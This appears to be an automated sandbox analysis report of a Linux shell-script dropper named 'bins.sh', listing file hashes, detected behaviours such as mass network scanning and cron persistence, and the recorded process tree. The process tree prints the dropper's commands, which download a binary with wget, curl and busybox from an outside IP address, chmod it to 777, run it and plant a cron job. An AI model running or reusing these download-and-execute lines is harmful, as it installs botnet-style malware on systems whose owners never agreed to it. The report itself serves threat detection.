Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20240611-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    04-11-2024 15:32

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    0e17ad464af64a931d90034b6bf2533d

  • SHA1

    fa3ac94af8804b2721185d6d797d2684d71db640

  • SHA256

    e6617aa9d237a3501f1dddfee90b1885cb95d30f621921d876fbbe676752a435

  • SHA512

    73f7d54af5bc9bb3abb834cce95be1aa9fd44b03f577258be3abdcc942f67a96e217ed21732611f31361bf636448aa74ba30d92584cf6c96149b065c765dd749

  • SSDEEP

    192:T4g4EGKoOqSIZNW6CWQvPlBFdCSG4Em+qSIZNJCWQvPVBFdCSI:T4LKjqSIZNW6CWQvPEqSIZNJCWQvPs

Malware Config

Signatures

  • Contacts a large (2149) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:1475
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:1476
        • /usr/bin/wget
          wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:1477
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:1499
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Writes file to tmp directory
          PID:1500
        • /bin/chmod
          chmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • File and Directory Permissions Modification
          PID:1501
        • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          ./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:1502
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:1504
              • /usr/bin/crontab
                crontab -l
                4⤵
                  PID:1505
              • /bin/sh
                sh -c "crontab -"
                3⤵
                  PID:1506
                  • /usr/bin/crontab
                    crontab -
                    4⤵
                    • Creates/modifies Cron job
                    PID:1507
              • /bin/rm
                rm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr
                2⤵
                  PID:1509
                • /usr/bin/wget
                  wget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF
                  2⤵
                    PID:1512

                Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

                Loading Replay Monitor...

                Downloads

                • /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr

                  Filesize

                  112KB

                  MD5

                  05d7857dcead18bbd86d2935f591873c

                  SHA1

                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                  SHA256

                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                  SHA512

                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                • /var/spool/cron/crontabs/tmp.r504rY

                  Filesize

                  210B

                  MD5

                  666a052a5a816fbb17808d74c9030589

                  SHA1

                  066599863048f75b84524e3d4ea23e797838c5b6

                  SHA256

                  187db94a97088107794b36ca45d3a59a4f47d63907dbe1f3b24378b65451446b

                  SHA512

                  ea8ef46b1b26b6beaa959f8e4e04bd16f5170333e361046409adb72b89a2728ae1c86efe6a63cdb0bef5690d111bab4dd491c17a0a6e90da6de7b6da591c60ec